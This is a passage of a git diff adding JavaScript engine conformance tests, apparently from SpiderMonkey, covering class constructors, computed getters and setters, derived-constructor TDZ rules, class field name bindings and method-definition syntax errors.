+var it = g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value.hello, 2);
+assertEq(next.value.world, 3);
+
+// get and set.
+expr = "abc";
+syntaxError("({get [");
+syntaxError("({get [expr()");
+syntaxError("({get [expr]()");
+syntaxError("({get [expr]()})");
+syntaxError("({get [expr] 0 ()})");
+syntaxError("({get [expr], 0(})");
+syntaxError("[get [expr]: 0()]");
+syntaxError("({get [expr](: name: 0})");
+syntaxError("({get [1, 2](): 3})");
+syntaxError("({get [1;](): 1})");
+syntaxError("({get [if (0) 0;](){}})");
+syntaxError("({set [(a)");
+syntaxError("({set [expr(a)");
+syntaxError("({set [expr](a){}");
+syntaxError("({set [expr]}(a)");
+syntaxError("({set [expr](a), 0})");
+syntaxError("[set [expr](a): 0]");
+syntaxError("({set [expr](a): name: 0})");
+syntaxError("({set [1, 2](a) {return 3;}})");
+syntaxError("({set [1;](a) {return 1}})");
+syntaxError("({set [if (0) 0;](a){}})");
+syntaxError("function f() { {get [x](): 1} }");
+syntaxError("function f() { get [x](): 1 }");
+syntaxError("function f() { {set [x](a): 1} }");
+syntaxError("function f() { set [x](a): 1 }");
+f1 = "abc";
+syntaxError('a = {get [f1@](){}, set [f1](a){}}'); // unexpected symbol at end of AssignmentExpression
+syntaxError('a = {get@ [f1](){}, set [f1](a){}}'); // unexpected symbol after get
+syntaxError('a = {get [f1](){}, set@ [f1](a){}}'); // unexpected symbol after set
+
+expr = "hey";
+a = {get [expr]() { return 3; }, set[expr](v) { throw 2; }};
+assertEq(a.hey, 3);
+assertThrowsValue(() => { a.hey = 5; }, 2);
+
+// Symbols with duplicate get and set.
+expr = Symbol("hey");
+a = {get [expr]() { return 3; }, set[expr](v) { throw 2; },
+ set [expr] (w) { throw 4; }, get[expr](){return 5; }};
+assertEq(a[expr], 5);
+assertThrowsValue(() => { a[expr] = 7; }, 4);
+
+// expressions with side effects are called in the right order
+log = "";
+obj = {
+ "a": log += 'a',
+ get [log += 'b']() {},
+ [log += 'c']: log += 'd',
+ set [log += 'e'](a) {}
+};
+assertEq(log, "abcde");
+
+// assignment expressions, objects and regex in computed names
+obj = {
+ get [a = "hey"]() { return 1; },
+ get [a = {b : 4}.b]() { return 2; },
+ set [/x/.source](a) { throw 3; }
+}
+assertEq(obj.hey, 1);
+assertEq(obj[4], 2);
+assertThrowsValue(() => { obj.x = 7; }, 3);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/class/constructorCalled.js b/js/src/tests/non262/class/constructorCalled.js
new file mode 100644
index 0000000000..144cc08c79
--- /dev/null
+++ b/js/src/tests/non262/class/constructorCalled.js
@@ -0,0 +1,45 @@
+// The constructor specified should get called, regardless of order, or
+// other distractions
+
+var called = false;
+class a { constructor(x) { assertEq(x, 4); called = true } }
+new a(4);
+assertEq(called, true);
+
+called = false;
+var aExpr = class { constructor(x) { assertEq(x, 4); called = true } };
+new aExpr(4);
+assertEq(called, true);
+
+called = false;
+class b { constructor() { called = true } method() { } }
+new b();
+assertEq(called, true);
+
+called = false;
+var bExpr = class { constructor() { called = true } method() { } };
+new bExpr();
+assertEq(called, true);
+
+called = false;
+class c { method() { } constructor() { called = true; } }
+new c();
+assertEq(called, true);
+
+called = false;
+var cExpr = class { method() { } constructor() { called = true; } }
+new cExpr();
+assertEq(called, true);
+
+called = false;
+class d { ["constructor"]() { throw new Error("NO"); } constructor() { called = true; } }
+new d();
+assertEq(called, true);
+
+called = false;
+var dExpr = class { ["constructor"]() { throw new Error("NO"); } constructor() { called = true; } }
+new dExpr();
+assertEq(called, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/defaultConstructorBase.js b/js/src/tests/non262/class/defaultConstructorBase.js
new file mode 100644
index 0000000000..2d977935dd
--- /dev/null
+++ b/js/src/tests/non262/class/defaultConstructorBase.js
@@ -0,0 +1,18 @@
+class base {
+ method() { return 1; }
+ *gen() { return 2; }
+ static sMethod() { return 3; }
+ get answer() { return 42; }
+}
+
+// Having a default constructor should work, and also not make you lose
+// everything for no good reason
+
+assertEq(Object.getPrototypeOf(new base()), base.prototype);
+assertEq(new base().method(), 1);
+assertEq(new base().gen().next().value, 2);
+assertEq(base.sMethod(), 3);
+assertEq(new base().answer, 42);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/defaultConstructorDerivedSpread.js b/js/src/tests/non262/class/defaultConstructorDerivedSpread.js
new file mode 100644
index 0000000000..4de18ec2fb
--- /dev/null
+++ b/js/src/tests/non262/class/defaultConstructorDerivedSpread.js
@@ -0,0 +1,23 @@
+/* Make sure that the default derived class constructor has the required spread semantics.
+ *
+ * Test credit André Bargull
+ */
+
+// <https://github.com/tc39/ecma262/pull/2216> changed default derived class
+// constructors to no longer execute the spread iteration protocol.
+Array.prototype[Symbol.iterator] = function*() {
+ throw new Error("unexpected call");
+};
+
+class Base {
+ constructor(a, b) {
+ assertEq(a, 1);
+ assertEq(b, 2);
+ }
+};
+class Derived extends Base {};
+
+new Derived(1, 2);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/defaultConstructorNotCallable.js b/js/src/tests/non262/class/defaultConstructorNotCallable.js
new file mode 100644
index 0000000000..558f8dcc2f
--- /dev/null
+++ b/js/src/tests/non262/class/defaultConstructorNotCallable.js
@@ -0,0 +1,8 @@
+class badBase {}
+assertThrowsInstanceOf(badBase, TypeError);
+
+class badSub extends (class {}) {}
+assertThrowsInstanceOf(badSub, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalBinding.js b/js/src/tests/non262/class/derivedConstructorArrowEvalBinding.js
new file mode 100644
index 0000000000..d6b15baab3
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalBinding.js
@@ -0,0 +1,12 @@
+// Make sure it doesn't matter when we make the arrow function
+new class extends class { } {
+ constructor() {
+ let arrow = () => this;
+ assertThrowsInstanceOf(arrow, ReferenceError);
+ super();
+ assertEq(arrow(), this);
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalClosed.js b/js/src/tests/non262/class/derivedConstructorArrowEvalClosed.js
new file mode 100644
index 0000000000..431a73c92f
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalClosed.js
@@ -0,0 +1,11 @@
+new class extends class { } {
+ constructor() {
+ let a1 = () => this;
+ let a2 = (() => super());
+ assertThrowsInstanceOf(a1, ReferenceError);
+ assertEq(a2(), a1());
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalEscape.js b/js/src/tests/non262/class/derivedConstructorArrowEvalEscape.js
new file mode 100644
index 0000000000..2676d4b946
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalEscape.js
@@ -0,0 +1,13 @@
+let arrow;
+
+class foo extends class { } {
+ constructor() {
+ arrow = () => this;
+ super();
+ }
+}
+
+assertEq(new foo(), arrow());
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalEscapeUninitialized.js b/js/src/tests/non262/class/derivedConstructorArrowEvalEscapeUninitialized.js
new file mode 100644
index 0000000000..970beb0436
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalEscapeUninitialized.js
@@ -0,0 +1,38 @@
+let superArrow;
+let thisArrow;
+
+let thisStash;
+
+class base {
+ constructor() {
+ // We run this constructor twice as part of the double init check
+ if (!thisStash)
+ thisStash = {prop:45};
+ return thisStash;
+ }
+}
+
+class foo extends base {
+ constructor() {
+ superArrow = (()=>super());
+ thisArrow = ()=>this;
+ }
+}
+
+// Populate the arrow function saves. Since we never invoke super(), we throw
+assertThrowsInstanceOf(()=>new foo(), ReferenceError);
+
+// No |this| binding in the closure, yet
+assertThrowsInstanceOf(thisArrow, ReferenceError);
+
+// call super()
+superArrow();
+
+// Can't call it twice
+assertThrowsInstanceOf(superArrow, ReferenceError);
+
+// Oh look, |this| is populated, now.
+assertEq(thisArrow(), thisStash);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalGetThis.js b/js/src/tests/non262/class/derivedConstructorArrowEvalGetThis.js
new file mode 100644
index 0000000000..26f9843d2c
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalGetThis.js
@@ -0,0 +1,10 @@
+new class extends class { } {
+ constructor() {
+ super();
+ assertEq(this, (()=>this)());
+ assertEq(this, eval("this"));
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalNestedSuperCall.js b/js/src/tests/non262/class/derivedConstructorArrowEvalNestedSuperCall.js
new file mode 100644
index 0000000000..d81f186485
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalNestedSuperCall.js
@@ -0,0 +1,34 @@
+new class extends class { } {
+ constructor() {
+ (()=>eval("super()"))();
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ (()=>(()=>super())())();
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ eval("(()=>super())()");
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ eval("eval('super()')");
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorArrowEvalSuperCall.js b/js/src/tests/non262/class/derivedConstructorArrowEvalSuperCall.js
new file mode 100644
index 0000000000..0f60df7465
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorArrowEvalSuperCall.js
@@ -0,0 +1,18 @@
+new class extends class { } {
+ constructor() {
+ assertEq(eval("super(); this"), this);
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+new class extends class { } {
+ constructor() {
+ (()=>super())();
+ assertEq(this, eval("this"));
+ assertEq(this, (()=>this)());
+ }
+}();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorInlining.js b/js/src/tests/non262/class/derivedConstructorInlining.js
new file mode 100644
index 0000000000..53b6a52f24
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorInlining.js
@@ -0,0 +1,19 @@
+// Since we (for now!) can't emit jitcode for derived class statements. Make
+// sure we can correctly invoke derived class constructors.
+
+class foo extends null {
+ constructor() {
+ // Anything that tests |this| should throw, so just let it run off the
+ // end.
+ }
+}
+
+function intermediate() {
+ new foo();
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(intermediate, "this");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorName.js b/js/src/tests/non262/class/derivedConstructorName.js
new file mode 100644
index 0000000000..13d47addb4
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorName.js
@@ -0,0 +1,11 @@
+class A {
+ constructor() { }
+}
+
+class B extends A { }
+
+var b = new B();
+assertEq(b.constructor.name, "B");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorReturnPrimitive.js b/js/src/tests/non262/class/derivedConstructorReturnPrimitive.js
new file mode 100644
index 0000000000..8b1594fa81
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorReturnPrimitive.js
@@ -0,0 +1,15 @@
+class foo extends null {
+ constructor() {
+ // Returning a primitive is a TypeError in derived constructors. This
+ // ensures that super() can take the return value directly, without
+ // checking it. Use |null| here, as a tricky check to make sure we
+ // didn't lump it in with the object check, somehow.
+ return null;
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "return");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZExplicitThis.js b/js/src/tests/non262/class/derivedConstructorTDZExplicitThis.js
new file mode 100644
index 0000000000..4a4922d57e
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZExplicitThis.js
@@ -0,0 +1,12 @@
+class foo extends null {
+ constructor() {
+ this;
+ assertEq(false, true);
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "this");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZOffEdge.js b/js/src/tests/non262/class/derivedConstructorTDZOffEdge.js
new file mode 100644
index 0000000000..28a2c377ca
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZOffEdge.js
@@ -0,0 +1,11 @@
+class foo extends null {
+ constructor() {
+ // Let it fall off the edge and throw.
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "this");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZReturnAliasedTry.js b/js/src/tests/non262/class/derivedConstructorTDZReturnAliasedTry.js
new file mode 100644
index 0000000000..3399c69b0c
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZReturnAliasedTry.js
@@ -0,0 +1,14 @@
+class base {}
+class derived extends base {
+ constructor() {
+ try {
+ (function() { p1(eval()) }())
+ } catch (e) {
+ return
+ }
+ }
+}
+assertThrowsInstanceOf(()=>new derived(), ReferenceError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZReturnObject.js b/js/src/tests/non262/class/derivedConstructorTDZReturnObject.js
new file mode 100644
index 0000000000..48206a881e
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZReturnObject.js
@@ -0,0 +1,13 @@
+class foo extends null {
+ constructor() {
+ // If you return an object, we don't care that |this| went
+ // uninitialized
+ return {};
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ new foo();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZReturnTry.js b/js/src/tests/non262/class/derivedConstructorTDZReturnTry.js
new file mode 100644
index 0000000000..96791c0e78
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZReturnTry.js
@@ -0,0 +1,16 @@
+class base {}
+class derived extends base {
+ constructor() {
+ try {
+ return;
+ } catch (e) {
+ try {
+ return;
+ } catch (e) {}
+ }
+ }
+}
+assertThrowsInstanceOf(() => new derived, ReferenceError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/derivedConstructorTDZReturnUndefined.js b/js/src/tests/non262/class/derivedConstructorTDZReturnUndefined.js
new file mode 100644
index 0000000000..21b8a3a05c
--- /dev/null
+++ b/js/src/tests/non262/class/derivedConstructorTDZReturnUndefined.js
@@ -0,0 +1,13 @@
+class foo extends null {
+ constructor() {
+ // Explicit returns of undefined should act the same as falling off the
+ // end of the function. That is to say, they should throw.
+ return undefined;
+ }
+}
+
+for (let i = 0; i < 1100; i++)
+ assertThrownErrorContains(() => new foo(), "this");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/extendBuiltinConstructors.js b/js/src/tests/non262/class/extendBuiltinConstructors.js
new file mode 100644
index 0000000000..f823d81343
--- /dev/null
+++ b/js/src/tests/non262/class/extendBuiltinConstructors.js
@@ -0,0 +1,110 @@
+function testBuiltinInstanceIsInstanceOf(instance, builtin, class_) {
+ assertEq(instance instanceof class_, true);
+ assertEq(instance instanceof builtin, true);
+
+ if (builtin === Array)
+ assertEq(Array.isArray(instance), true);
+}
+
+function testBuiltinInstance(builtin, ...args) {
+ class sub extends builtin {
+ constructor(...args) {
+ super(...args);
+ this.called = true;
+ }
+ }
+
+ let instance = new sub(...args);
+ assertEq(instance.called, true);
+ testBuiltinInstanceIsInstanceOf(instance, builtin, sub);
+}
+
+function testBuiltinMultipleSubclasses(builtin, ...args) {
+ function f(obj, prop) {
+ assertEq(obj.prop, prop);
+ }
+
+ class sub1 extends builtin { };
+ class sub2 extends builtin { };
+
+ const prop1 = "A";
+ const prop2 = "B";
+
+ sub1.prototype.prop = prop1;
+ sub2.prototype.prop = prop2;
+
+ let instance1 = new sub1(...args);
+ let instance2 = new sub2(...args);
+
+ // Also make sure we get the properties we want with a default constructor
+ testBuiltinInstanceIsInstanceOf(instance1, builtin, sub1);
+
+ for (let i = 0; i < 10; i++) {
+ f(instance1, prop1);
+ f(instance2, prop2);
+ }
+}
+
+function testBuiltin(builtin, ...args) {
+ testBuiltinInstance(builtin, ...args);
+ testBuiltinMultipleSubclasses(builtin, ...args);
+}
+
+function testBuiltinTypedArrays() {
+ let typedArrays = [Int8Array,
+ Uint8Array,
+ Uint8ClampedArray,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array];
+
+ for (let array of typedArrays) {
+ testBuiltin(array);
+ testBuiltin(array, 5);
+ testBuiltin(array, new array());
+ testBuiltin(array, new ArrayBuffer());
+ }
+}
+
+testBuiltin(Function);
+testBuiltin(Object);
+testBuiltin(Boolean);
+testBuiltin(Error);
+testBuiltin(EvalError);
+testBuiltin(RangeError);
+testBuiltin(ReferenceError);
+testBuiltin(SyntaxError);
+testBuiltin(TypeError);
+testBuiltin(URIError);
+testBuiltin(Number);
+testBuiltin(Date);
+testBuiltin(Date, 5);
+testBuiltin(Date, 5, 10);
+testBuiltin(RegExp);
+testBuiltin(RegExp, /Regexp Argument/);
+testBuiltin(RegExp, "String Argument");
+testBuiltin(Map);
+testBuiltin(Set);
+testBuiltin(WeakMap);
+testBuiltin(WeakSet);
+testBuiltin(ArrayBuffer);
+testBuiltinTypedArrays();
+testBuiltin(DataView, new ArrayBuffer());
+testBuiltin(DataView, new (newGlobal().ArrayBuffer)());
+testBuiltin(String);
+testBuiltin(Array);
+testBuiltin(Array, 15);
+testBuiltin(Array, 3.0);
+testBuiltin(Array, "non-length one-arg");
+testBuiltin(Array, 5, 10, 15, "these are elements");
+// More Promise subclassing tests can be found in non262/Promise/promise-subclassing.js
+testBuiltin(Promise, _=>{});
+
+if (this.SharedArrayBuffer)
+ testBuiltin(SharedArrayBuffer);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/fields-instance-class-name-binding-eval.js b/js/src/tests/non262/class/fields-instance-class-name-binding-eval.js
new file mode 100644
index 0000000000..6b6d3a0857
--- /dev/null
+++ b/js/src/tests/non262/class/fields-instance-class-name-binding-eval.js
@@ -0,0 +1,40 @@
+// Instance field initialisers can access the inner name binding for class definitions.
+{
+ class C {
+ field = eval("C");
+ }
+ assertEq(new C().field, C);
+}
+{
+ let C = class Inner {
+ field = eval("Inner");
+ };
+ assertEq(new C().field, C);
+}
+
+// Instance field initialiser expressions always resolve the inner name binding.
+{
+ class C {
+ field = () => eval("C");
+ }
+ assertEq(new C().field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(new D().field(), D);
+}
+{
+ let C = class Inner {
+ field = () => eval("Inner");
+ }
+ assertEq(new C().field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(new D().field(), D);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/class/fields-instance-class-name-binding.js b/js/src/tests/non262/class/fields-instance-class-name-binding.js
new file mode 100644
index 0000000000..10cac12504
--- /dev/null
+++ b/js/src/tests/non262/class/fields-instance-class-name-binding.js
@@ -0,0 +1,40 @@
+// Instance field initialisers can access the inner name binding for class definitions.
+{
+ class C {
+ field = C;
+ }
+ assertEq(new C().field, C);
+}
+{
+ let C = class Inner {
+ field = Inner;
+ };
+ assertEq(new C().field, C);
+}
+
+// Instance field initialiser expressions always resolve the inner name binding.
+{
+ class C {
+ field = () => C;
+ }
+ assertEq(new C().field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(new D().field(), D);
+}
+{
+ let C = class Inner {
+ field = () => Inner;
+ }
+ assertEq(new C().field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(new D().field(), D);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/class/fields-static-class-name-binding-eval.js b/js/src/tests/non262/class/fields-static-class-name-binding-eval.js
new file mode 100644
index 0000000000..34185e7ecd
--- /dev/null
+++ b/js/src/tests/non262/class/fields-static-class-name-binding-eval.js
@@ -0,0 +1,59 @@
+// Static field initialisers can access the inner name binding for class definitions.
+{
+ class C {
+ static field = eval("C");
+ }
+ assertEq(C.field, C);
+}
+{
+ let C = class Inner {
+ static field = eval("Inner");
+ };
+ assertEq(C.field, C);
+}
+
+// Static field initialisers can't access the outer name binding for class expressions
+// before it has been initialised.
+{
+ assertThrowsInstanceOf(() => {
+ let C = class {
+ static field = eval("C");
+ };
+ }, ReferenceError);
+}
+
+// Static field initialisers can access the outer name binding for class expressions after
+// the binding has been initialised
+{
+ let C = class {
+ static field = () => eval("C");
+ };
+ assertEq(C.field(), C);
+}
+
+// Static field initialiser expressions always resolve the inner name binding.
+{
+ class C {
+ static field = () => eval("C");
+ }
+ assertEq(C.field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(D.field(), D);
+}
+{
+ let C = class Inner {
+ static field = () => eval("Inner");
+ }
+ assertEq(C.field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(D.field(), D);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/class/fields-static-class-name-binding.js b/js/src/tests/non262/class/fields-static-class-name-binding.js
new file mode 100644
index 0000000000..54032b03ff
--- /dev/null
+++ b/js/src/tests/non262/class/fields-static-class-name-binding.js
@@ -0,0 +1,59 @@
+// Static field initialisers can access the inner name binding for class definitions.
+{
+ class C {
+ static field = C;
+ }
+ assertEq(C.field, C);
+}
+{
+ let C = class Inner {
+ static field = Inner;
+ };
+ assertEq(C.field, C);
+}
+
+// Static field initialisers can't access the outer name binding for class expressions
+// before it has been initialised.
+{
+ assertThrowsInstanceOf(() => {
+ let C = class {
+ static field = C;
+ };
+ }, ReferenceError);
+}
+
+// Static field initialisers can access the outer name binding for class expressions after
+// the binding has been initialised
+{
+ let C = class {
+ static field = () => C;
+ };
+ assertEq(C.field(), C);
+}
+
+// Static field initialiser expressions always resolve the inner name binding.
+{
+ class C {
+ static field = () => C;
+ }
+ assertEq(C.field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(D.field(), D);
+}
+{
+ let C = class Inner {
+ static field = () => Inner;
+ }
+ assertEq(C.field(), C);
+
+ const D = C;
+ C = null;
+
+ assertEq(D.field(), D);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/class/geterNoExprClosure.js b/js/src/tests/non262/class/geterNoExprClosure.js
new file mode 100644
index 0000000000..e37cb287a9
--- /dev/null
+++ b/js/src/tests/non262/class/geterNoExprClosure.js
@@ -0,0 +1,20 @@
+// getter/setter with expression closure is allowed only in object literal.
+
+assertThrowsInstanceOf(() => eval(`
+ class foo {
+ constructor() {}
+
+ get a() 1
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ class foo {
+ constructor() {}
+
+ set a(v) 1
+ }
+`), SyntaxError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/innerBinding.js b/js/src/tests/non262/class/innerBinding.js
new file mode 100644
index 0000000000..b1afa177e0
--- /dev/null
+++ b/js/src/tests/non262/class/innerBinding.js
@@ -0,0 +1,86 @@
+// Named class definitions should create an immutable inner binding.
+// Since all code in classes is in strict mode, attempts to mutate it
+// should throw.
+class Foof { constructor() { }; tryBreak() { Foof = 4; } }
+for (let result of [Foof, class Bar { constructor() { }; tryBreak() { Bar = 4; } }])
+ assertThrowsInstanceOf(() => new result().tryBreak(), TypeError);
+
+{
+ class foo { constructor() { }; tryBreak() { foo = 4; } }
+ for (let result of [foo, class Bar { constructor() { }; tryBreak() { Bar = 4 } }])
+ assertThrowsInstanceOf(() => new result().tryBreak(), TypeError);
+}
+
+// TDZ applies to inner bindings
+assertThrowsInstanceOf(()=>eval(`class Bar {
+ constructor() { };
+ [Bar] () { };
+ }`), ReferenceError);
+
+assertThrowsInstanceOf(()=>eval(`(class Bar {
+ constructor() { };
+ [Bar] () { };
+ })`), ReferenceError);
+
+// There's no magic "inner binding" global
+{
+ class Foo {
+ constructor() { };
+ test() {
+ class Bar {
+ constructor() { }
+ test() { return Foo === Bar }
+ }
+ return new Bar().test();
+ }
+ }
+ assertEq(new Foo().test(), false);
+ assertEq(new class foo {
+ constructor() { };
+ test() {
+ return new class bar {
+ constructor() { }
+ test() { return foo === bar }
+ }().test();
+ }
+ }().test(), false);
+}
+
+// Inner bindings are shadowable
+{
+ class Foo {
+ constructor() { }
+ test(Foo) { return Foo; }
+ }
+ assertEq(new Foo().test(4), 4);
+ assertEq(new class foo {
+ constructor() { };
+ test(foo) { return foo }
+ }().test(4), 4);
+}
+
+// Inner bindings in expressions should shadow even existing names.
+class Foo { constructor() { } static method() { throw new Error("NO!"); } }
+assertEq(new class Foo {
+ constructor() { };
+ static method() { return 4; };
+ test() { return Foo.method(); }
+ }().test(), 4);
+
+// The outer binding is distinct from the inner one
+{
+ let orig_X;
+
+ class X {
+ constructor() { }
+ f() { assertEq(X, orig_X); }
+ }
+
+ orig_X = X;
+ X = 13;
+ assertEq(X, 13);
+ new orig_X().f();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/member-expr-after-super.js b/js/src/tests/non262/class/member-expr-after-super.js
new file mode 100644
index 0000000000..fa965b24e5
--- /dev/null
+++ b/js/src/tests/non262/class/member-expr-after-super.js
@@ -0,0 +1,44 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+class Base {
+ get test() {
+ return "ok";
+ }
+}
+
+class SuperThenProperty extends Base {
+ constructor() {
+ var result = super().test;
+ return {result};
+ }
+}
+assertEq(new SuperThenProperty().result, "ok");
+
+class SuperThenMember extends Base {
+ constructor() {
+ var result = super()["tes" + String.fromCodePoint("t".codePointAt(0))];
+ return {result};
+ }
+}
+assertEq(new SuperThenMember().result, "ok");
+
+class SuperThenCall extends Function {
+ constructor() {
+ var result = super("o, k", "return o + k;")("o", "k");
+ return {result};
+ }
+}
+assertEq(new SuperThenCall().result, "ok");
+
+class SuperThenTemplateCall extends Function {
+ constructor() {
+ var result = super("cooked", "return cooked[0][0] + cooked.raw[0][1];")`ok`;
+ return {result};
+ }
+}
+assertEq(new SuperThenTemplateCall().result, "ok");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/class/methDefn.js b/js/src/tests/non262/class/methDefn.js
new file mode 100644
index 0000000000..9513bdfb30
--- /dev/null
+++ b/js/src/tests/non262/class/methDefn.js
@@ -0,0 +1,204 @@
+var BUGNUMBER = 924672;
+var summary = 'Method Definitions'
+
+print(BUGNUMBER + ": " + summary);
+
+// Function definitions.
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e instanceof SyntaxError) {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+
+// Tests begin.
+
+syntaxError("{a(){}}");
+syntaxError("b = {a(");
+syntaxError("b = {a)");
+syntaxError("b = {a(}");
+syntaxError("b = {a)}");
+syntaxError("b = {a()");
+syntaxError("b = {a()}");
+syntaxError("b = {a(){}");
+syntaxError("b = {a){}");
+syntaxError("b = {a}}");
+syntaxError("b = {a{}}");
+syntaxError("b = {a({}}");
+syntaxError("b = {a@(){}}");
+syntaxError("b = {a() => 0}");
+syntaxError("b = {a() void 0}");
+syntaxError("b = {a() 1}");
+syntaxError("b = {a() false}");
+
+b = {a(){return 5;}};
+assertEq(b.a(), 5);
+
+b = {a(){return "hey";}};
+assertEq(b.a(), "hey");
+
+b = {a(){return arguments;}};
+assertEq(b.a().length, 0);
+
+b = {a(c){return arguments;}};
+assertEq(b.a().length, 0);
+
+b = {a(c){return arguments;}};
+assertEq(b.a(1).length, 1);
+
+b = {a(c){return arguments;}};
+assertEq(b.a(1)[0], 1);
+
+b = {a(c,d){return arguments;}};
+assertEq(b.a(1,2).length, 2);
+
+b = {a(c,d){return arguments;}};
+assertEq(b.a(1,2)[0], 1);
+
+b = {a(c,d){return arguments;}};
+assertEq(b.a(1,2)[1], 2);
+
+// Methods along with other properties.
+syntaxError("b = {,a(){}}");
+syntaxError("b = {@,a(){}}");
+syntaxError("b = {a(){},@}");
+syntaxError("b = {a : 5 , (){}}");
+syntaxError("b = {a : 5@ , a(){}}");
+syntaxError("b = {a : , a(){}}");
+syntaxError("b = {a : 5, a()}}");
